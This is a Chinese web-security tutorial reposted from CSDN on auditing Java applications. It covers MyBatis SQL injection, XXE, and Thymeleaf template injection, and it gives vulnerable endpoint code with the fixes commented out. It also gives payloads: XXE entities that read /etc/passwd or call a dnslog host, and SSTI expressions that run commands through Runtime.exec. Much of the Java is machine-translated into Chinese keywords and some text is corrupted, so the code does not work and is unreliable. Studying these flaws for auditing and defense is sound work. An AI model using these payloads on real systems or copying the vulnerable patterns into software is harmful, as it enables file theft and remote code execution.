Day66:WEB攻防(web防攻击)

Day66:WEB攻防第一个参数是要更新的XML字段第二个参数是XPath表达式  ~admin第三个参数是要更新的新值。
在这个例子中,使用了concat函数来拼接字符串,包括特殊字符0x7e(

第一个参数是要更新的XML 字段,第二个参数是XPath 表达式~admin,第三个参数是要更新的新值。

此示例使用concat 函数连接包含特殊字符0x7e(波形符)的字符串,并使用子查询select user() 来查询当前用户。

与注入类似:模糊搜索时直接使用\’%#{q}%\’会报错,部分研发图会直接改成\’%${q}%\’,可能会导致注入。

in注入:in后面查询多个ID时使用#会报错,导致注入。

白盒审计

现实中,你需要分析源码中用什么方法来操作数据库(JDBC或者MyBatis),然后考虑代码怎么写。如果JDBC 不使用安全写入实践,则更有可能出现问题。 MyBatis 使用KaTeX 解析错误: 显示代码。应为“EOF”,但在位置3: 或# 处得到“#”。无需检查#符号是否顺序。如果是这样,恭喜你!

代码审计案例:inxedu后台MyBatis注入

1.源码配置与安装

端口必须与配置文件匹配

默认的/inxedu_war 路径就足够了

启动项目后报错:

2. 代码审计分析

从Java文件名来看,后台登录的应该在admin目录下。

只需要把整个请求数据包放在txt中,用sqlmap运行即可

Java安全-XXE注入-ReaderBuilder

XXE

XML

外部的

真实的东西

注射

),

XML 外部实体注入。一旦开发者将XML解析功能配置为允许外部实体引用,攻击者就可以利用这种配置方式引发安全问题,进行任意文件读取、内网端口发现、命令执行、拒绝服务等攻击。作为:

XML(可扩展标记语言)是一种用于表示和传输结构化数据的标记语言。它被设计为可读和可扩展,通常用于在不同系统之间交换和存储数据。

XML 使用标签来描述数据的结构和含义。每个XML 文档都由标签和内容组成。标签用于标识数据元素,内容是该元素的特定值或子元素。标签可以嵌套形成层次结构来表示复杂的数据关系。

这些XML 处理函数应该在代码审计期间进行审计。这是与XML 处理相关的一些类和接口的列表。它们通常用在XML 解析库和编程语言API 中来读取、解析、转换和处理XML 数据。

XMLReader:用于顺序读取XML 文档的内容,并提供基于事件的处理XML 数据的方法。 SAXReader:用于读取和解析XML 文档的Simple API for XML (SAX) 解析器。 DocumentBuilder:用于创建DOM(文档对象模型)对象的接口。 XML 文档可以加载到内存中进行操作。 XMLStreamReader:StAX(XML 流式API)解析器,用于读取和解析XML 文档。 SAXBuilder:用于构建SAX 解析器来读取和解析XML 文档的类。 SAXParser:用于解析XML 文档的SAX 解析器。 SAXSource:用于使用SAX 事件作为输入源的对象。这可用于将SAX 解析器连接到其他处理器(例如XSLT 转换器)。 TransformerFactory:用于创建可以转换、处理和生成XML 文档的Transformer 对象的工厂类。 SAXTransformerFactory:用于创建SAXTransformerHandler 对象的工厂类,该对象可以在SAX 事件处理期间执行XML 转换和处理。 SchemaFactory:用于创建XML 模式验证器的工厂类,可用于验证XML 文档的结构和内容。 Unmarshaller:用于将XML 文档解组为Java 对象的接口。常与Java的XML绑定技术(如JAXB)一起使用。 XPathExpression:用于执行XPath 查询以查找和选择XML 文档中的特定元素和属性的接口。

配置XML允许引入外部解析实体

方法1:将以下配置添加到application.properties(或application.yml)文件中。

spring.xml.parser.enabled=true

方法二:启用XML中的外部实体解析需要相关配置。确切的设置可能会有所不同,具体取决于您使用的XML 解析器或库。

下面介绍一些常用的配置方法。

//使用DocumentBuilderFactory:

DocumentBuilderFactory 工厂=DocumentBuilderFactory.newInstance();

Factory.setFeature(\’http://apache.org/xml/features/nonvalidating/load-external-dtd\’, true);

//使用SAXParserFactory

SAXParserFactory 工厂=SAXParserFactory.newInstance();

Factory.setFeature(\’http://apache.org/xml/features/nonvalidating/load-external-dtd\’, true);

//使用TransformerFactory

TransformerFactory 工厂=TransformerFactory.newInstance();

Factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, false);

这些配置方法通常是通过设置相关特征或属性来实现的。您设置的确切属性或属性名称可能会有所不同,具体取决于您使用的解析器和库。上面的示例提到了一些常见的功能或属性名称,但根据您使用的解析器和库,您可能需要相应地调整具体名称。

黑盒测试:https://blog.csdn.net/m0_51345235/article/details/131503666

白盒测试-XXE

主意:

是否开启XML外部实体解析,全局搜索关键类名称,检查是否有可控参数。

SAX解析器

/**

* javax.xml.parsers.SAXParser 是XMLReader 的替代品,提供更多安全措施。

* 例如,默认情况下禁用DTD 和外部实体声明。

*如果您需要使用DTD或外部实体,您可以手动启用它们并使用适当的安全措施。

*/

@ApiOperation(值=\’vul:SAXParser\’)

@RequestMapping(值=\’/SAXParser\’)

公共字符串SAXParser(@RequestParam字符串内容){

尝试{

//SAXParserFactory 是用于创建SAXParser 实例的工厂类。 newInstance() 方法返回一个新的SAXParserFactory 实例。

SAXParserFactory 工厂=SAXParserFactory.newInstance();

//通过SAXParserFactory的newSAXParser()方法创建一个新的SAXParser实例,并将其赋值给变量解析器。

SAXParser 解析器=Factory.newSAXParser();

//创建一个InputSource 对象并使用XML 内容作为StringReader 的输入源。

//调用SAXParser 的parse() 方法,将InputSource 和DefaultHandler 对象作为参数传递。这会触发SAX 解析过程开始解析和处理XML 内容。

parser.parse(new InputSource(new StringReader(content)), new DefaultHandler());

返回“SAXParser XXE”。

} catch (异常e) {

返回e.toString()。

}

}

xmlReader漏洞代码

/**

* @poc http://127.0.0.1:8888/XXE/XMLReader

* 内容类型: 应用程序/xml

* Payload:xml 版本=\’1.0\’ 编码=\’utf-8\’?DOCTYPE 测试[!ENTITY xxe SYSTEM \’http://0g5zvd.dnslog.cn\’]rootxxe;/root

*/

@ApiOperation(值=\’vul:XMLReader\’)

@RequestMapping(值=\’/XMLReader\’)

公共字符串XMLReader(@RequestParam字符串内容){

尝试{

log.info(\'[vul] XMLReader: \’ + 内容);

//用于创建XML 解析器的XMLReader 接口和XMLReaderFactory 类

XMLReader xmlReader=XMLReaderFactory.createXMLReader();

//修复:禁用外部实体

//xmlReader.setFeature(\’http://apache.org/xml/features/disallow-doctype-decl\’, true);

//使用XMLReader对象xmlReader解析XML内容

xmlReader.parse(new InputSource(new StringReader(content)));

返回“XMLReaderXXE”。

} catch (异常e) {

返回e.toString()。

}

}

DocumentBuilder漏洞代码

/**

* @poc http://127.0.0.1:8888/XXE/DocumentBuilder

* Payload:xml 版本=\’1.0\’ 编码=\’utf-8\’?DOCTYPE 测试[!ENTITY xxe SYSTEM \’file:///etc/passwd\’]personnamexxe;/name/person

*/

@ApiOperation(value=\’vul: DocumentBuilder 类\’)

@RequestMapping(值=\’/DocumentBuilder\’)

公共字符串DocumentBuilder(@RequestParam字符串内容){

尝试{

//DocumentBuilderFactory 是一个用于创建DOM 模式的解析器对象。 newInstance 方法自动创建一个工厂对象并根据本地平台上默认安装的解析器返回它。

DocumentBuilderFactory 工厂=DocumentBuilderFactory.newInstance();

DocumentBuilder 构建器=Factory.newDocumentBuilder();

StringReader sr=new StringReader(内容);

输入源=新输入源(sr);

文档document=builder.parse(is);

NodeList 节点列表=document.getElementsByTagName(\’person\’);

元素element=(element)nodeList.item(0);

return String.format(\’名称: %s\’, element.getElementsByTagName(\’名称\’).item(0).getFirstChild().getNodeValue());

} catch (异常e) {

返回e.toString()。

}

}

SAXReader漏洞代码

@ApiOperation(值=\’vul:SAXReader\’)

@RequestMapping(值=\’/SAXReader\’)

公共字符串SAXReader(@RequestParam字符串内容){

尝试{

SAXReader sax=new SAXReader();

//修复:禁用外部实体

//sax.setFeature(\’http://apache.org/xml/features/disallow-doctype-decl\’, true);

sax.read(new InputSource(new StringReader(content)));

返回“SAXReaderXXE”。

} catch (异常e) {

返回e.toString()。

}

}

解组器漏洞代码

/**

* @poc http://127.0.0.1:8888/XXE/Unmarshaller (POST)

* 有效负载?xml 版本=\’1.0\’ 编码=\’UTF-8\’?DOCTYPE Student[!ENTITY out SYSTEM \’file:///etc/passwd\’]studentnameout;/name/student

*/

@ApiOperation(值=\’vul:Unmarshaller\’)

@RequestMapping(值=\’/unmarshaller\’)

公共字符串解组器(@RequestBody字符串内容){

尝试{

JAXBContext 上下文=JAXBContext.newInstance(Student.class);

解组器解组器=context.createUnmarshaller();

XMLInputFactory xif=XMLInputFactory.newFactory();

//修复:禁用外部实体

//xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \’\’);

//xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, \’\’);

//默认情况下,1.8 版本不允许加载外部dtd 文件,因此您需要更改设置。

//xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, true);

//xif.setProperty(XMLInputFactory.SUPPORT_DTD, true);

XMLStreamReader xsr=xif.createXMLStreamReader(new StringReader(content));

对象o=unmarshaller.unmarshal(xsr);

log.info(\'[vul] Unmarshaller: \’ + 内容);

返回o.toString();

} catch (异常e) {

e.printStackTrace();

}

return \’出了问题!\’;

}

SAXBuilder漏洞代码

@ApiOperation(value=\’vul:SAXBuilder\’, Notes=\’一个JDOM 解析器,可以将路径中的任何XML 文件解析为Document 对象\’)

@RequestMapping(值=\’/SAXBuilder\’)

公共字符串SAXBuilder(@RequestBody字符串内容){

尝试{

SAXBuilder saxbuilder=new SAXBuilder();

//saxbuilder.setFeature(\’http://apache.org/xml/features/disallow-doctype-decl\’, true);

saxbuilder.build(new InputSource(new StringReader(content)));

返回“SAXBuilderXXE”。

} catch (异常e) {

返回e.toString()。

}

}

Java安全-SSTI模版-ThymeleafURL

SSTI(服务器端模板注入)服务器模板注入。服务器接收用户的输入并将其作为Web应用模板内容的一部分,并在目标编译和渲染过程中执行用户注入的恶意内容。

1. URL作为视图

2. 速度

3. 时间叶

其他语言参考:https://www.cnblogs.com/bmjoker/p/13508538.html

有时间学习一下正则表达式;https://www.jyshare.com/front-end/854/

URL作视图

原理:根据Spring Boot的定义,如果控制器没有返回值,会使用GetMapping路由作为视图名,将请求的URL作为视图名,调用模板引擎进行解析。在这种情况下,只要您能够控制所请求的控制器,该参数也可能会创建RCE 漏洞

/doc/xxxx,xxxx会匹配并保存在文档中,并由模板引擎解析。这会导致RCE。

负载:__${T(java.lang.Runtime).getRuntime().exec(“open -a Calculator”)}__:x

白盒角度测试URL做视图

要查找带参数且不返回的@GetMapping 路由,请首先规范化@GetMapping(.*?)\\s*public\\s+void/gm。

小心多行匹配和全局搜索,这样您就不会错过任何内容。

Thymeleaf-黑白盒测试思路

Thymeleaf 是一个用于构建动态Web 应用程序的Java 服务器端模板引擎。这使得开发人员可以将数据和逻辑与HTML 模板结合起来,生成最终的HTML 页面。它与Spring框架紧密集成,是Java开发中使用最广泛的模板引擎之一。

Thymeleaf SSTI模板注入漏洞利用条件:版本3.0.0 – 3.0.11及更高版本已修复并具有绕过方法。即使版本匹配,也不应进行过滤。

Thymeleaf引擎使用案例

HTML页面中文显示和英文显示切换功能的实现

以下代码从lang 接收参数。

如果收到en,则返回字符串lang/en。如果收到zh,则返回字符串lang/zh。

返回的字符串实际上是一个相对路径,由Thymeleaf引擎解析以创建相应的模板文件路径。按照约定,Thymeleaf 默认会在src/main/resources/templates 目录下搜索对应的模板文件。

因此,如果**src/main/resources/templates/lang/en.html文件存在,Thymeleaf引擎就会处理该模板文件,并将处理结果返回给客户端。 **如果文件不存在,可能会出现异常或者返回默认错误页面。

管理Maven 和父依赖项

使用IDEA创建的Springboot项目,thymeleaf版本不可见

该依赖声明的artifactId是spring-boot-starter-thymeleaf。要检查Thymeleaf 的版本,请查看依赖项的父依赖项管理器。 Spring Boot 项目通常有一个名为spring-boot-dependency 的父依赖管理器,它定义了各种Spring Boot 相关依赖项的版本。

可以看到spring-boot-dependency的版本号是2.4.1。因此,T

hymeleaf的版本号应该与Spring Boot的版本号相对应。你可以在Spring Boot的官方文档或官方仓库中找到特定版本的Spring Boot所使用的Thymeleaf版本。或者查看maven管理的jar来判断

通过指定元素,子模块可以继承父级依赖管理中定义的依赖和配置信息,以确保子模块使用与父模块相同的版本号和配置。

在这个片段中:

指定了Spring Boot的组ID为org.springframework.boot指定了父级依赖的ID为spring-boot-starter-parent指定了使用的版本号为2.4.1。是用于指定父级pom.xml文件的相对路径的。在这个片段中,没有提供具体的相对路径,意味着Maven将在本地仓库中查找该父级依赖的pom.xml文件。
**通过继承spring-boot-starter-parent作为父级依赖,子模块可以享受到Spring Boot提供的默认配置和插件,以及统一管理的依赖版本。**这样可以简化子模块的配置,并确保所有子模块使用相同的依赖和配置。

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.4.1</version>
<relativePath/>
</parent>

指定了Spring Boot的组ID为org.springframework.boot,指定了依赖的ID为spring-boot-starter-thymeleaf。

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

如果想要修改这个组件的版本,可以在网站上搜索:https://mvnrepository.com/artifact/org.thymeleaf/thymeleaf/3.0.0.ALPHA02

黑盒角度测试Thymeleaf SSTI

原理:通过利用Thymelear表达式

参考文章:https://www.cnblogs.com/hjwublog/p/5051632.html

${}:用于访问容器上下文环境中的变量

例如:${user.name}将被替换为用户的名称。

payload:__${T(java.lang.Runtime).getRuntime().exec(“open -a Calculator”)}__::.x

因为${},可以访问上下文环境变量,通过T(java.lang.Runtime)获取Runtime类的实例,然后调用exec(“open -a Calculator”)方法来执行命令 open -a Calculator。

paylaod构造思路:通过${}::.x构造表达式会由Thymeleaf去执行

里面的类可以用别的,比如:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x

参考文章:https://mp.weixin.qq.com/s/NueP4ohS2vSeRCdx4A7yOg

漏洞发现:切换主题/背景 的功能区,将参数改为 payload

白盒角度测试Thymeleaf SSTI

先确定thymeleaf的版本,漏洞利用版本:3.0.0 至 3.0.11 版本

正则表达式搜索特征:https://www.jyshare.com/front-end/854/

思路一:全局搜索 return \”

同时配合 src/main/resources/templates 目录下的文件,是否有类似上面的形式,并且有可控参数

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

#以上关于Day66:WEB攻防的相关内容来源网络仅供参考,相关信息请以官方公告为准!

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92049.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月24日 下午5:33
下一篇 2024年6月24日 下午5:33

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注